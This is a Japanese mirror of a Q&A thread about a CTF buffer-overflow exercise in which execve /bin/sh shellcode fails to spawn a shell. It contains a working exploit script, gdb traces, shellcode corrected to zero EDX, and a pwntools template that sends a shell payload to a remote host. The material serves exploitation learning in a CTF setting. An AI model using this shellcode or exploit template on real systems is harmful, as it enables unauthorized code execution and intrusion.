web-dev-qa-db-ja.com

バッファオーバーフローの悪用後にシェルが起動しないのはなぜですか?

CTF演習中にスタックスマッシングが発生した後、それについて学び始めました。 CTF用に受け取った32ビットのELF実行可能ファイルで練習しています。

バイナリファイルを分解した後、プログラムがプロンプトをロードして書き出し、次にsyscalls(ライブラリ関数なし)を使用して、長さをチェックせずに入力を読み取ります。

私は少しそれをつついて、クラッシュする前にバッファが20 "A"を保持しているのを見つけたので、バッファを埋め、次にコードにつながるnop-slideへのアドレスを続けます。

#!/usr/bin/env python2

import struct

pad = "\x41" * 20
EIP = struct.pack("I", 0xbffffebc)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 
# http://Shell-storm.org/shellcode/files/shellcode-827.php
NOP = "\x90" * 5
print pad + EIP + NOP + shellcode

最初は、ペイロードは「ABCD」を画面に書き込むためのシステムコールであり、正常にトリガーされました。

(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
 eip = 0x804809c in _start; saved eip = 0xbffffebc
 Arglist at unknown address.
 Locals at unknown address, Previous frame's sp is 0xbffffebc
 Saved registers:
  eip at 0xbffffeb8
(gdb) x/24x 0xbffffeb8-20
0xbffffea4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffeb4: 0x41414141  0xbffffebc  0x90909090  0xc0315490
0xbffffec4: 0xc931db31  0x4168d231  0x89444342  0xb305b2e1
0xbffffed4: 0xcd04b001  0x40c03180  0x000a80cd  0xb7fff868
0xbffffee4: 0x00000021  0xb7fff000  0x00000010  0x178bfbff
0xbffffef4: 0x00000006  0x00001000  0x00000011  0x00000064
(gdb) c
Continuing.
ABCD�[Inferior 1 (process 16256) exited with code 01]

次に、/ bin/shを実行する呼び出しでシェルコードをいくつか試しましたが、ペイロードがロードされたようですが、コードを実行した後、シェルが起動しません。

(gdb) run < <(python2 ~/Scripts/crack.py)
Starting program: /root/Downloads/start < <(python2 ~/Scripts/crack.py)
Let's start the CTF:
Breakpoint 4, 0x0804809c in _start ()
(gdb) x/24x 0xbffffeb8-20                
0xbffffea4: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffeb4: 0x41414141  0xbffffebc  0x90909090  0x50c03190
0xbffffec4: 0x732f2f68  0x622f6868  0xe3896e69  0xe1895350
0xbffffed4: 0x80cd0bb0  0x0000000a  0x00000020  0xb7fff868
0xbffffee4: 0x00000021  0xb7fff000  0x00000010  0x178bfbff
0xbffffef4: 0x00000006  0x00001000  0x00000011  0x00000064
(gdb) info frame
Stack level 0, frame at 0xbffffebc:
 eip = 0x804809c in _start; saved eip = 0xbffffebc
 Arglist at unknown address.
 Locals at unknown address, Previous frame's sp is 0xbffffebc
 Saved registers:
  eip at 0xbffffeb8
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffffed8 in ?? ()
(gdb) x/24i $eip-24 
   0xbffffec0:  nop
   0xbffffec1:  xor    %eax,%eax
   0xbffffec3:  Push   %eax
   0xbffffec4:  Push   $0x68732f2f
   0xbffffec9:  Push   $0x6e69622f
   0xbffffece:  mov    %esp,%ebx
   0xbffffed0:  Push   %eax
   0xbffffed1:  Push   %ebx
   0xbffffed2:  mov    %esp,%ecx
   0xbffffed4:  mov    $0xb,%al
   0xbffffed6:  int    $0x80
=> 0xbffffed8:  or     (%eax),%al
   0xbffffeda:  add    %al,(%eax)
   0xbffffedc:  and    %al,(%eax)
   0xbffffede:  add    %al,(%eax)

ファイルはスタック保護または位置独立ではありません。

hardening-check $(which /root/Downloads/start)
/root/Downloads/start:
 Position Independent Executable: no, normal executable!
 Stack protected: no, not found!
 Fortify Source functions: unknown, no protectable libc functions used
 Read-only relocations: no, not found!
 Immediate binding: no, not found!
 Stack clash protection: unknown, no -fstack-clash-protection instructions found
 Control flow integrity: unknown, no -fcf-protection instructions found!

これらは私の唯一の環境変数です:

(gdb) show env
PWD=/root/Scripts
Shell=/bin/bash
SHLVL=0

明らかに、私は何かを逃しており、物事はコードを実行させるだけの単純なものではありません。私の制約を考慮してシェルをスポーンさせるにはどうすればよいですか?

3
ep84

使用しているシェルコード:

_   0xbffffec1:  xor    %eax,%eax
   0xbffffec3:  Push   %eax
   0xbffffec4:  Push   $0x68732f2f
   0xbffffec9:  Push   $0x6e69622f
   0xbffffece:  mov    %esp,%ebx
   0xbffffed0:  Push   %eax
   0xbffffed1:  Push   %ebx
   0xbffffed2:  mov    %esp,%ecx
   0xbffffed4:  mov    $0xb,%al
   0xbffffed6:  int    $0x80
_

は基本的にexecve("/bin//sh",$ecx,$edx)を実行していますが、_$edx_をNULLまたはポインタの配列へのポインタに設定することは考慮されていません。

これがGDBの_info registers_の問題であることを確認できます。

この問題を解決するには、_xor %edx,%edx_(バイト_0x31, 0xd2_)の_int $0x80_の前の任意の場所に追加できます(命令の境界に挿入するように注意してください、_0xcd, 0x80_)そしてそれはうまくいくはずです。

バイナリがバッファをオーバーフローする読み取りを行うためにsyscallsを使用しているので、命令のバイト値(strcpygetsなどの関数)を気にする必要はないと述べましたnullバイトまたは0x0Aバイトになると、バイトのコピーを停止します。

pwnでは、次のように使用します(intel構文Assemblyおよびasm関数):

_from pwn import asm
shellcode = asm("""
xor eax,eax
Push eax
Push 0x68732f2f
Push 0x6e69622f
mov ebx,esp
Push eax
Push ebx
mov ecx,esp
mov al,0xb
xor edx,edx
int 0x80
""")
_

あなたはそれをバイトとして見ることもできます:

_print(disasm(shellcode))
   0:   31 c0                   xor    eax, eax
   2:   50                      Push   eax
   3:   68 2f 2f 73 68          Push   0x68732f2f
   8:   68 2f 62 69 6e          Push   0x6e69622f
   d:   89 e3                   mov    ebx, esp
   f:   50                      Push   eax
  10:   53                      Push   ebx
  11:   89 e1                   mov    ecx, esp
  13:   b0 0b                   mov    al, 0xb
  15:   31 d2                   xor    edx, edx
  17:   cd 80                   int    0x80
_
1
Zemows

私もCTFプレーヤーです。BoFが大好きです。最初にこれを確認してください。BoFに役立ち、シェルをスポーンするのも簡単です: https://github.com/Gallopsled/pwntools

Pwntoolsを使用してシェルを生成したい場合は、次のようなサンプルコードがあります。

from pwn import *
context(Arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()

あなたの場合、あなたはそれを上書きする必要がない場合は、Radare2を使用してアプリケーション内に利用可能なシェル関数があるかどうかを確認する必要があります。ここに、pwntoolsがどのように機能するかに関するいくつかのリソースがあります。

https://github.com/mishrasunny174/encrypt-ctf/tree/master/pwn/x86